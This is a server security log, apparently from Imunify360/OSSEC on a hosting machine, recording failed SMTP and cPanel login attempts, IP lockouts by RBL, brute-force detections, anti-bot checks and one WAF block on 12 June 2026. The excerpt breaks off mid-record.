rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:00:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:26448: 535 Incorrect authentication data (set_id=savebig@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 07:00:30 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 07:00:48 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 07:00:25 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:00:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:9882: 535 Incorrect authentication data (set_id=treatwell@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 07:00:34 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:00:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:1440: 535 Incorrect authentication data (set_id=treatwell@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:00:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:22106: 535 Incorrect authentication data (set_id=mice@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:01:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:22308: 535 Incorrect authentication data (set_id=ella@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 07:01:32 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.8
country_id: 6252001
description:
205.169.39.8 - - [12/Jun/2026:07:02:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854808&pdata=http%253A%252F%252Fapi.butodra.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781247722 HTTP/1.1" 302 0 api.butodra.tg "http://api.butodra.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.8


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 07:01:22 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 07:01:30 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:01:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:1768: 535 Incorrect authentication data (set_id=docflow@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:01:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:18314: 535 Incorrect authentication data (set_id=givi@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [12/Jun/2026:07:01:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066122&pdata=http%253A%252F%252Fapi.butodra.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781247702 HTTP/1.1" 302 0 api.butodra.tg "http://api.butodra.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.218.25.134
country_id: 2017370
description:
[2026-06-12 07:02:40 +0000] info [cpaneld] 178.218.25.134 - mesyscom "GET /login/?login_only=1&user=mesyscom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:02:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:56618: 535 Incorrect authentication data (set_id=mom@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.115.32.30
country_id: 2542007
description:
[2026-06-12 07:02:42 +0000] info [cpaneld] 196.115.32.30 - mesyscomcom "GET /login/?login_only=1&user=mesyscomcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.152.59.238
country_id: 3686110
description:
[2026-06-12 07:03:07 +0000] info [cpaneld] 24.152.59.238 - mes "GET /login/?login_only=1&user=mes&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mes (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:02:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:13286: 535 Incorrect authentication data (set_id=mom@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:02:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:58218: 535 Incorrect authentication data (set_id=abel@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.191.65.185
country_id: 3865483
description:
[2026-06-12 07:02:31 +0000] info [cpaneld] 181.191.65.185 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 07:02:34 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 88.230.48.27
country_id: 298795
description:
[2026-06-12 07:02:50 +0000] info [cpaneld] 88.230.48.27 - mesysc "GET /login/?login_only=1&user=mesysc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysc (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 07:02:21 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 07:02:28 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:02:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:10348: 535 Incorrect authentication data (set_id=ebe@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:03:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:49738: 535 Incorrect authentication data (set_id=don@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 07:03:36 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:03:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:5002: 535 Incorrect authentication data (set_id=spam@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 07:03:29 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:03:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:2566: 535 Incorrect authentication data (set_id=cache1@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 07:03:23 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:04:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:60804: 535 Incorrect authentication data (set_id=banane@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:04:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:41580: 535 Incorrect authentication data (set_id=algarve@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 07:04:38 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:04:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:59060: 535 Incorrect authentication data (set_id=fluentnhibernate@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:04:52 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:56660: 535 Incorrect authentication data (set_id=fluentnhibernate@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 07:04:22 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 07:04:30 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 07:04:41 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 07:05:27 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:05:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:33422: 535 Incorrect authentication data (set_id=moon@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 07:05:32 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:05:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:51970: 535 Incorrect authentication data (set_id=hpd@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 07:05:43 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:05:45 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:51148: 535 Incorrect authentication data (set_id=apd@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 07:05:50 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 07:06:26 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 07:06:36 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 07:06:20 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:06:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:43292: 535 Incorrect authentication data (set_id=receiver@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:06:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:24970: 535 Incorrect authentication data (set_id=free123@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:07:13 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:30322: 535 Incorrect authentication data (set_id=cams@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:06:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:57986: 535 Incorrect authentication data (set_id=omail@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 07:07:20 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 07:07:30 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:07:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:50204: 535 Incorrect authentication data (set_id=osada@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:07:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:35130: 535 Incorrect authentication data (set_id=october@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 07:07:38 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:07:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:15826: 535 Incorrect authentication data (set_id=bn@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 07:08:22 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:08:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:31606: 535 Incorrect authentication data (set_id=estoque@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 07:08:35 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 07:08:22 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:08:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:2870: 535 Incorrect authentication data (set_id=cis@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:08:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:9898: 535 Incorrect authentication data (set_id=factory@ns5.netmaster.tg)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 162.212.168.123
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:07-08.162.212.168.123||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 07:09:21 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:09:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:13814: 535 Incorrect authentication data (set_id=guest@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:09:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:58294: 535 Incorrect authentication data (set_id=rimsky@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [12/Jun/2026:07:09:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9946769&pdata=https%253A%252F%252Fbelali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248171 HTTP/2.0" 302 0 belali.tg "https://belali.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [12/Jun/2026:07:09:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9606764&pdata=https%253A%252F%252Fbelali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248195 HTTP/2.0" 302 0 belali.tg "https://belali.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 07:09:25 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:09:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:23784: 535 Incorrect authentication data (set_id=instrument@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [12/Jun/2026:07:09:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7314068&pdata=https%253A%252F%252Fwww.belali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248175 HTTP/2.0" 302 0 www.belali.tg "https://www.belali.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:09:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:43996: 535 Incorrect authentication data (set_id=rimsky@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 07:09:29 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [12/Jun/2026:07:09:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9924756&pdata=https%253A%252F%252Fwww.belali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248176 HTTP/2.0" 302 0 www.belali.tg "https://www.belali.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:10:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:49788: 535 Incorrect authentication data (set_id=jn@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 07:10:29 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [12/Jun/2026:07:10:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7380635&pdata=https%253A%252F%252Fbelali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248248 HTTP/2.0" 302 0 belali.tg "https://belali.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [12/Jun/2026:07:10:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7391077&pdata=https%253A%252F%252Fwww.belali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248224 HTTP/2.0" 302 0 www.belali.tg "https://www.belali.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:10:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:5342: 535 Incorrect authentication data (set_id=lora@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [12/Jun/2026:07:10:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9804179&pdata=https%253A%252F%252Fbelali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248223 HTTP/2.0" 302 0 belali.tg "https://belali.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:10:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:15834: 535 Incorrect authentication data (set_id=tj@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [12/Jun/2026:07:10:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7052446&pdata=https%253A%252F%252Fwww.belali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248221 HTTP/2.0" 302 0 www.belali.tg "https://www.belali.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 07:10:24 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 07:10:25 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 07:11:27 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:11:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:61180: 535 Incorrect authentication data (set_id=orel@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:11:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:5476: 535 Incorrect authentication data (set_id=ecom@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 07:11:21 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
